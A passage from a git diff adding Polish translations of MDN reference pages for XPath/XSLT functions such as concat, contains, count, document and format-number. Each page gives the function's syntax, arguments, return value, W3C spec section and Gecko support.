+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><code><i>liczba</i></code>
+</dt><dd>Oceniana liczba.
+</dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Najbliższą liczbę całkowitą większą lub równą <code><i>liczba</i></code>.
+</p>
+<p>Przykładowo:</p>
+<p><code>    ceiling (<i>5.2</i>)</code> = <var>6</var></p>
+<p><code>    ceiling (<i>-5.2</i>)</code> = <var>-5</var></p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-ceiling" class="external">XPath 1.0 4.4</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/ceiling", "fr": "fr/XPath/Fonctions/ceiling", "ja": "ja/XPath/Functions/ceiling" } ) }}
diff --git a/files/pl/web/xpath/funkcje/concat/index.html b/files/pl/web/xpath/funkcje/concat/index.html
new file mode 100644
index 0000000000..35a0d5f932
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/concat/index.html
@@ -0,0 +1,31 @@
+---
+title: concat
+slug: Web/XPath/Funkcje/concat
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/concat
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>concat</code> łączy dwa lub więcej ciągów i zwraca łańcuch znaków będący wynikiem takiego łączenia. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">concat( <i>string<sub>1</sub></i> , <i>string<sub>2</sub></i> [, <i>string<sub>n</sub></i>]* )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><code><i>string<sub>n</sub></i></code>
+</dt><dd>Ta funkcja przyjmuje dwa lub więcej argumentów. Każdy jego argument jest łańcuchem znaków. </dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Pojedynczy łańcuch znaków będący połączeniem wszystkich ciągów przekazanych funkcji jako argumenty. </p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-concat" class="external">XPath 1.0 4.2</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/concat", "fr": "fr/XPath/Fonctions/concat", "ja": "ja/XPath/Functions/concat" } ) }}
diff --git a/files/pl/web/xpath/funkcje/contains/index.html b/files/pl/web/xpath/funkcje/contains/index.html
new file mode 100644
index 0000000000..e295462b27
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/contains/index.html
@@ -0,0 +1,36 @@
+---
+title: contains
+slug: Web/XPath/Funkcje/contains
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/contains
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>contains</code> określa, czy w pierwszym argumencie ciągu jest zawarty drugi argument ciągu i zwraca prawdę lub fałsz. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">contains( <i>stóg siana</i> , <i>igła</i> )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><code><i>stóg siana</i></code>
+</dt><dd>Ciąg przeszukiwany
+</dd></dl>
+<dl><dt><code><i>igła</i></code>
+</dt><dd>Ciąg szukany jako podciąg <code><i>stóg siana</i></code>
+</dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p><code>True</code>, jeśli <code><i>stóg siana</i></code> zawiera <code><i>igła</i></code>. W innym przypadku <code>false</code>.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-contains" class="external">XPath 1.0 4.2</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/contains", "es": "es/XPath/Funciones/contains", "fr": "fr/XPath/Fonctions/contains", "ja": "ja/XPath/Functions/contains" } ) }}
diff --git a/files/pl/web/xpath/funkcje/count/index.html b/files/pl/web/xpath/funkcje/count/index.html
new file mode 100644
index 0000000000..5be5ce5039
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/count/index.html
@@ -0,0 +1,33 @@
+---
+title: count
+slug: Web/XPath/Funkcje/count
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/count
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>count</code> zlicza liczbę wierzchołków w zbiorze <code>zbiór_wierzchołków</code> i zwraca liczbę całkowitą. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">count( <i>zbiór_wierzchołków</i> )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><code><i>zbiór_wierzchołków</i></code>
+</dt><dd>Zbiór wierzchołków do zliczenia.
+</dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Liczbę całkowitą reprezentującą liczbę wierzchołków w zbiorze <code>zbiór_wierzchołków</code>.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-count" class="external">XPath 1.0 4.1</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/count", "fr": "fr/XPath/Fonctions/count", "ja": "ja/XPath/Functions/count" } ) }}
diff --git a/files/pl/web/xpath/funkcje/current/index.html b/files/pl/web/xpath/funkcje/current/index.html
new file mode 100644
index 0000000000..cb3752d7eb
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/current/index.html
@@ -0,0 +1,30 @@
+---
+title: current
+slug: Web/XPath/Funkcje/current
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/current
+---
+<p>
+{{ XsltRef() }}
+</p><p>Funkcja <code>current</code> może zostać użyta do pobrania wierzchołka kontekstowego w instrukcji XSTL. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">current()
+</pre>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Zbiór wierzchołków zawierający wyłącznie aktualny wierzchołek. </p>
+<h3 id="Uwagi" name="Uwagi"> Uwagi </h3>
+<p>Ta funkcja jest specyficznym dla XSLT dodatkiem do XPath. Nie jest częścią głównej biblioteki funkcji XPath. </p><p>Aktualny wierzchołek jest zawsze taki sam jak wierzchołek kontekstowy. Następujące dwie funkcje są semantycznie równoważne. </p>
+<pre class="eval">&lt;xsl:value-of select="current()"/&gt;
+</pre>
+<pre class="eval">&lt;xsl:value-of select="."/&gt;
+</pre>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xslt#function-current" class="external">XSLT 1.0 12.4</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XPath/Functions/current", "fr": "fr/XPath/Fonctions/current" } ) }}
diff --git a/files/pl/web/xpath/funkcje/document/index.html b/files/pl/web/xpath/funkcje/document/index.html
new file mode 100644
index 0000000000..c69211937f
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/document/index.html
@@ -0,0 +1,42 @@
+---
+title: document
+slug: Web/XPath/Funkcje/document
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/document
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+<code>document</code> znajduje zbiór wierzchołków w jednym lub wielu zewnętrznych dokumentach i zwraca wynik jako zbiór wierzchołków. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">document( <i>URI</i> [, <i>zbiór_wierzchołków</i>] )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><code><i>URI</i></code>
+</dt><dd> Bezwzględny lub relatywny adres URI dokumentu do pobrania. URI może także zawierać identyfikator fragmentu. </dd></dl>
+<dl><dt><code><i>zbiór_wierzchołków</i></code> (opcjonalny)
+</dt><dd>Wyrażenie wskazujące zbiór wierzchołków zewnętrznego dokumentu, który powinien zostać zwrócony. </dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Zbiór wierzchołków.
+</p>
+<h3 id="Uwagi" name="Uwagi"> Uwagi </h3>
+<ul><li> Jeśli URI zawiera identyfikator fragmentu i fragment ten może zostać zidentyfikowany w dokumencie zewnętrznym, będzie on uważany za główny w wyrażeniu argumentu <code><i>zbiór_wierzchołków</i></code>. Jeśli argument <code><i>zbiór_wierzchołków</i></code> jest pominięty, zwrócony zostanie cały fragment.
+</li></ul>
+<ul><li> Jeśli argument <code><i>URI</i></code> jest zbiorem wierzchołków i obecny jest drugi argument, każdy wierzchołek w zbiorze wierzchołków zostanie przetworzony jako oddzielny adres URI, a zwrócony zbiór wierzchołków będzie taki, jak gdyby funkcja <code>document</code> została wywołana wielokrotnie, przy czym wynikowe zbiory wierzchołków zostaną połączone w pojedynczy zbiór wierzchołków.
+</li></ul>
+<ul><li> Pozostałe specyficzne warunki istnieją wraz z określonymi zachowaniami. Zobacz dokumentację XSLT 1.0, aby uzyskać szczegóły.
+</li></ul>
+<ul><li> Gdy adres URI jest względny wobec dokumentu XSL, <code>document("")</code> zwróci wierzchołek główny aktualnego dokumentu.
+</li></ul>
+<p>Ta funkcja jest specyficznym dla XSLT dodatkiem do XPath. Nie jest częścią głównej biblioteki funkcji XPath.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xslt#function-document" class="external">XSLT 1.0 12.1</a>
+</p>
+<h3 id="Obs.C5.82uga_Gecko" name="Obs.C5.82uga_Gecko"> Obsługa Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XPath/Functions/document", "fr": "fr/XPath/Fonctions/document" } ) }}
diff --git a/files/pl/web/xpath/funkcje/element-available/index.html b/files/pl/web/xpath/funkcje/element-available/index.html
new file mode 100644
index 0000000000..59948e8acd
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/element-available/index.html
@@ -0,0 +1,30 @@
+---
+title: element-available
+slug: Web/XPath/Funkcje/element-available
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/element-available
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>element-available</code> określa czy element jest dostępny i zwraca prawdę lub fałsz. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">element-available( <i>QName</i> )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><code><i>QName</i></code>
+</dt><dd>Musi być prawidłową nazwę (QName). QName jest rozwijany do nazwy za pomocą deklaracji przestrzeni nazw w zasięgu wyrażenia.
+</dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Zwraca prawdę wtedy i tylko wtedy, gdy rozszerzona nazwa jest nazwą instrukcji. Jeśli rozszerzona nazwa posiada URI przestrzeni nazw identyczny z URI przestrzeni nazw XSLT, to odnosi się ona do elementu zdefiniowanego przez XSLT. W przeciwnym wypadku odnosi się ona do elementu rozszerzenia. Jeśli rozszerzona nazwa posiada puste URI przestrzeni nazw, funkcja zwróci wartość fałsz.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xslt#function-element-available" class="external">XSLT 1.0 15</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XPath/Functions/element-available", "fr": "fr/XPath/Fonctions/element-available" } ) }}
diff --git a/files/pl/web/xpath/funkcje/false/index.html b/files/pl/web/xpath/funkcje/false/index.html
new file mode 100644
index 0000000000..9eb932a51b
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/false/index.html
@@ -0,0 +1,37 @@
+---
+title: 'false'
+slug: Web/XPath/Funkcje/false
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/false
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>false</code> zwraca wartość logiczną <i>fałsz</i>.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">false()
+</pre>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Wartość logiczną <code>false</code>.
+</p>
+<h3 id="Uwagi" name="Uwagi"> Uwagi </h3>
+<p>Ta funkcja jest użyteczna jako część porównania:
+</p>
+<pre class="eval">&lt;xsl:if test="boolean((1 &amp;gt; 2) = false())"&gt;
+ Wyrażenie jest ocenione jako true
+&lt;/xsl:if&gt;
+</pre>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-false" class="external">XPath 1.0 4.3</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/false", "fr": "fr/XPath/Fonctions/false", "ja": "ja/XPath/Functions/false" } ) }}
diff --git a/files/pl/web/xpath/funkcje/floor/index.html b/files/pl/web/xpath/funkcje/floor/index.html
new file mode 100644
index 0000000000..1d82807ae2
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/floor/index.html
@@ -0,0 +1,33 @@
+---
+title: floor
+slug: Web/XPath/Funkcje/floor
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/floor
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>floor</code> ocenia liczbę dziesiętną i zwraca największą liczbę całkowitą mniejszą lub równą podanej liczbie dziesiętnej. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">floor( <i>liczba</i> )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><code><i>liczba</i></code>
+</dt><dd>Oceniana liczba dziesiętna.
+</dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Najbliższą liczbę całkowitą mniejszą lub równą wartości <code><i>liczba</i></code>.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-floor" class="external">XPath 1.0 4.4</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/floor", "fr": "fr/XPath/Fonctions/floor", "ja": "ja/XPath/Functions/floor" } ) }}
diff --git a/files/pl/web/xpath/funkcje/format-number/index.html b/files/pl/web/xpath/funkcje/format-number/index.html
new file mode 100644
index 0000000000..5801ec3064
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/format-number/index.html
@@ -0,0 +1,38 @@
+---
+title: format-number
+slug: Web/XPath/Funkcje/format-number
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/format-number
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+</p><p>Funkcja <code>format-number</code> ocenia liczbę i zwraca łańcuch znaków reprezentujący liczbę w podanym formacie. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">format-number( <i>liczba</i> , <i>wzorzec</i> [, <i>format_dziesiętny</i>] )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><code><i>liczba</i></code>
+</dt><dd>Liczba do sformatowania
+</dd></dl>
+<dl><dt><code><i>wzorzec</i></code>
+</dt><dd>Łańcuch znaków w formacie klasy DecimalFormat <a href="http://java.sun.com/products/archive/jdk/1.1/" class="external">JDK 1.1</a> (Dokumentacja JDK 1.1 nie jest dostępna. Dostępne są informacje dotyczące <a href="http://java.sun.com/javase/6/docs/api/java/text/DecimalFormat.html" class="external">Java SE 6 DecimalFormat</a>.).
+</dd></dl>
+<dl><dt><code><i>format_dziesiętny</i></code> (opcjonalnie)
+</dt><dd>Nazwa elementu <code><a href="pl/XSLT/decimal-format"> xsl:decimal-format</a></code> definiująca format liczby, który ma zostać użyty. Jeśli argument zostanie pominięty, użyty zostanie format dziesiętny.
+</dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Łańcuch znaków reprezentujący liczbę w nowym formacie.
+</p>
+<h3 id="Uwagi" name="Uwagi"> Uwagi </h3>
+<p>Ta funkcja jest specyficznym dla XSLT dodatkiem do XPath. Nie jest częścią głównej biblioteki funkcji XPath. </p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xslt#function-format-number" class="external">XSLT 1.0 12.3</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XPath/Functions/format-number", "fr": "fr/XPath/Fonctions/format-number" } ) }}
diff --git a/files/pl/web/xpath/funkcje/function-available/index.html b/files/pl/web/xpath/funkcje/function-available/index.html
new file mode 100644
index 0000000000..db24249160
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/function-available/index.html
@@ -0,0 +1,29 @@
+---
+title: function-available
+slug: Web/XPath/Funkcje/function-available
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/function-available
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+</p><p>Funkcja <code>function-available</code> określa czy podana funkcja jest dostępna i zwraca wartość logiczną prawda lub fałsz. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">function-available( <i>nazwa</i> )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><code><i>name</i></code>
+</dt><dd>Nazwa funkcji do ocenienia. </dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Wartość logiczną <code>true</code> lub <code>false</code>.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xslt#function-function-available" class="external">XPath 1.0 15</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XPath/Functions/function-available", "fr": "fr/XPath/Fonctions/function-available" } ) }}
diff --git a/files/pl/web/xpath/funkcje/generate-id/index.html b/files/pl/web/xpath/funkcje/generate-id/index.html
new file mode 100644
index 0000000000..92ba7a2774
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/generate-id/index.html
@@ -0,0 +1,36 @@
+---
+title: generate-id
+slug: Web/XPath/Funkcje/generate-id
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/generate-id
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>generate-id</code> generuje unikatowy identyfikator dla pierwszego wierzchołka w podanym zbiorze wierzchołków i zwraca łańcuch znaków zawierający ten identyfikator. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">generate-id( [<i>zbiór_wierzchołków</i>] )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><code><i>zbiór_wierzchołków</i></code> (opcjonalny)
+</dt><dd>Zostanie wygenerowany identyfikator dla pierwszego wierzchołka tego zbioru wierzchołków. Jeśli argument zostanie pominięty, zostanie użyty aktualny wierzchołek kontekstu.
+</dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Łańcuch znaków zawierający wygenerowany identyfikator.
+</p>
+<h3 id="Uwagi" name="Uwagi"> Uwagi </h3>
+<ul><li> Ten sam identyfikator musi zostać wygenerowany każdorazowo dla tego samego wierzchołka w aktualnym dokumencie aktualnej transformacji.
+</li></ul>
+<ul><li> Wygenerowany identyfikator nie może być taki sam w kolejnej transformacji.
+</li></ul>
+<p>Ta funkcja jest specyficznym dla XSLT dodatkiem do XPath. Nie jest częścią głównej biblioteki funkcji XPath. </p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xslt#function-generate-id" class="external">XSLT 1.0 12.4</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XPath/Functions/generate-id", "fr": "fr/XPath/Fonctions/generate-id" } ) }}
diff --git a/files/pl/web/xpath/funkcje/id/index.html b/files/pl/web/xpath/funkcje/id/index.html
new file mode 100644
index 0000000000..8473cb77f6
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/id/index.html
@@ -0,0 +1,36 @@
+---
+title: id
+slug: Web/XPath/Funkcje/id
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/id
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>id</code> znajduje wierzchołki, które odpowiadają podanym identyfikatorom i zwraca zbiór wierzchołków zawierający zidentyfikowane wierzchołki.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">id( <i>wyrażenie</i> )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><code><i>wyrażenie</i></code>
+</dt><dd>Jeśli <code><i>wyrażenie</i></code> jest zbiorem wierzchołków, to wartość łańcucha znaków każdego wierzchołka w zbiorze wierzchołków jest traktowana jako odrębny identyfikator. Zwrócony zbiór wierzchołków to wierzchołki odpowiadające tym identyfikatorom. </dd></dl>
+<dl><dd>Jeśli <code><i>wyrażenie</i></code> jest łańcuchem znaków lub czymkolwiek innym niż zbiór wierzchołków, to <code><i>wyrażenie</i></code> jest traktowane jako lista identyfikatorów oddzielonych za pomocą spacji. Zwrócony zbiór wierzchołków to wierzchołki odpowiadające tym identyfikatorom. </dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Zbiór wierzchołków zawierajacy wierzchołek lub wierzchołki zidentyfikowane za pomocą podanego identyfikatora lub identyfikatorów. </p>
+<h3 id="Uwagi" name="Uwagi"> Uwagi </h3>
+<ul><li> DTD dokumentu XML określa jakim atrybutem jest ID. Zobacz <a href="http://www.w3.org/TR/xpath#unique-id" class="external">XPath 1.0 5.2.1</a>
+</li></ul>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-id" class="external">XPath 1.0 4.1</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Częściowo obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/id", "fr": "fr/XPath/Fonctions/id", "ja": "ja/XPath/Functions/id" } ) }}
diff --git a/files/pl/web/xpath/funkcje/index.html b/files/pl/web/xpath/funkcje/index.html
new file mode 100644
index 0000000000..0ea3d23bfa
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/index.html
@@ -0,0 +1,55 @@
+---
+title: Funkcje
+slug: Web/XPath/Funkcje
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XPath
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions
+---
+<p>{{ XsltRef() }} Poniżej znajduje się lista objaśnionych funkcji głównych <a href="/pl/docs/XPath">XPath</a> i specyficznych dla <a href="pl/XSLT">XSLT</a> dodatków do XPath, włączając opis, składnię, listę argumentów, typ wyniku oraz źródło w odpowiedniej rekomendacji W3C i stopień aktualnej obsługi przez <a href="/pl/docs/Gecko">Gecko</a>. Aby uzyskać więcej informacji na temat zastosowania funkcji XPath/XSLT, przejdź na stronę: <a href="/pl/docs/Transformacje_XML_z_XSLT/Przeczytaj_wi%c4%99cej">Przeczytaj więcej</a>.</p>
+
+<ul>
+ <li><a href="/pl/docs/XPath/Funkcje/boolean">boolean()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/ceiling">ceiling()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/concat">concat()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/contains">contains()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/count">count()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/current">current()</a><em> specyficzna dla XSLT</em></li>
+ <li><a href="/pl/docs/XPath/Funkcje/document">document()</a><em> specyficzna dla XSLT</em></li>
+ <li><a href="/pl/docs//XPath/Funkcje/element-available">element-available()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/false">false()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/floor">floor()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/format-number">format-number()</a><em> specyficzna dla XSLT</em></li>
+ <li><a href="/pl/docs/XPath/Funkcje/function-available">function-available()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/generate-id">generate-id()</a><em> specyficzna dla XSLT</em></li>
+ <li><a href="/pl/docs/XPath/Funkcje/id">id()</a><em> częściowo obsługiwana</em></li>
+ <li><a href="/pl/docs/XPath/Funkcje/key">key()</a><em> specyficzna dla XSLT</em></li>
+ <li><a href="/pl/docs/XPath/Funkcje/lang">lang()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/last">last()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/local-name">local-name()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/name">name()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/namespace-uri">namespace-uri()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/normalize-space">normalize-space()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/not">not()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/number">number()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/position">position()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/round">round()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/starts-with">starts-with()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/string">string()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/string-length">string-length()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/substring">substring()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/substring-after">substring-after()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/substring-before">substring-before()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/sum">sum()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/system-property">system-property()</a><em> specyficzna dla XSLT</em></li>
+ <li><a href="/pl/docs/XPath/Funkcje/translate">translate()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/true">true()</a></li>
+ <li><a href="/pl/docs/XPath/Funkcje/unparsed-entity-url">unparsed-entity-url()</a><em> specyficzna dla XSLT</em><em>(nieobsługiwana)</em></li>
+</ul>
+
+<p> </p>
+
+<div class="noinclude"> </div>
diff --git a/files/pl/web/xpath/funkcje/key/index.html b/files/pl/web/xpath/funkcje/key/index.html
new file mode 100644
index 0000000000..41db252168
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/key/index.html
@@ -0,0 +1,36 @@
+---
+title: key
+slug: Web/XPath/Funkcje/key
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/key
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>key</code> zwraca zbiór wierzchołków posiadających podaną wartość danego klucza. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">key( <i>nazwaklucza</i> , <i>wartość</i> )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><code><i>nazwaklucza</i></code>
+</dt><dd>Łańcuch znaków zawierający nazwę elementu <code><a href="pl/XSLT/key"> xsl:key</a></code> do użycia.
+</dd></dl>
+<dl><dt><code><i>wartość</i></code>
+</dt><dd>Zwrócony zbiór wierzchołków będzie zawierał każdy wierzchołek, który posiada tę wartość dla danego klucza. </dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Zbiór wierzchołków.
+</p>
+<h3 id="Uwagi" name="Uwagi"> Uwagi </h3>
+<ul><li> Element <code><a href="pl/XSLT/key"> xsl:key</a></code> określa, który atrybut i z jakich elementów zostanie użyty do dopasowania klucza. </li></ul>
